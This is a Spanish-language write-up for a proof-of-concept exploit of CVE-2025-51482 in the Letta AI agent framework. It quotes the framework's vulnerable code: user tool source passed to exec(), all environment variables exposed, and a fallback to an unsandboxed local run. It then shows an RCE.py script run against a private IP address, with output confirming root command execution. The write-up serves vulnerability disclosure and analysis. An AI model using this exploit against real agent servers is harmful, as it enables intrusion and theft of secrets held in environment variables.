
Exploit de prueba de concepto para CVE-2025-51482, que demuestra la ejecución remota de código mediante el uso inseguro de exec() y bypass de sandbox en el framework del agente de IA Letta. Incluye análisis de vulnerabilidad y script de explotación.
Problema: El sistema no realiza ninguna revisión de seguridad sobre el código fuente proporcionado por el usuario.
Evidencia:
generate_execution_script
El método inserta directamente el código del usuario en el script de ejecución:
python
code += "\n" + self.tool.source_code + "\n"
No hay análisis AST para detectar operaciones peligrosas (como os.system, subprocess.call, eval, etc.)
No hay restricciones de importación ni listas blancas de módulos
exec()Problema: Se usa exec() directamente para ejecutar código del usuario, y el diccionario global contiene variables de entorno.
Evidencia:
python
globals_dict = dict(env) # Variables de entorno expuestas directamente al código del usuario
exec(code_obj, globals_dict)
Problema: Todas las variables de entorno se exponen al código del usuario, incluyendo información sensible.
Evidencia:
python
env = os.environ.copy() # Copia todas las variables de entorno del sistema
env_vars = self.sandbox_config_manager.get_sandbox_env_vars_as_dict(...)
env.update(env_vars) # Agrega variables de entorno del sandbox
Problema: El mecanismo privileged_tools puede ser evadido.
Evidencia:
python
if tool_settings.e2b_api_key and not self.privileged_tools:
# Usa sandbox e2b (relativamente seguro)
else:
# Usa sandbox local (inseguro)
Si la organización establece privileged_tools=True o no configura una clave API de e2b, el sistema retrocede a la ejecución local insegura.
Problema: No se realiza ninguna validación o limpieza sobre el código fuente ingresado por el usuario.
Evidencia: El modo ToolRunFromSource acepta cualquier cadena como código fuente:
python
source_code: str = Field(..., description="The source code of the function.")
Por ejemplo:
python RCE.py -u http://192.168.63.131:8283/
[+] Comando ejecutado con éxito:
uid=0(root) gid=0(root) groups=0(root)
python RCE.py -u http://192.168.63.131:8283/ -c whoami
[+] Comando ejecutado con éxito:
root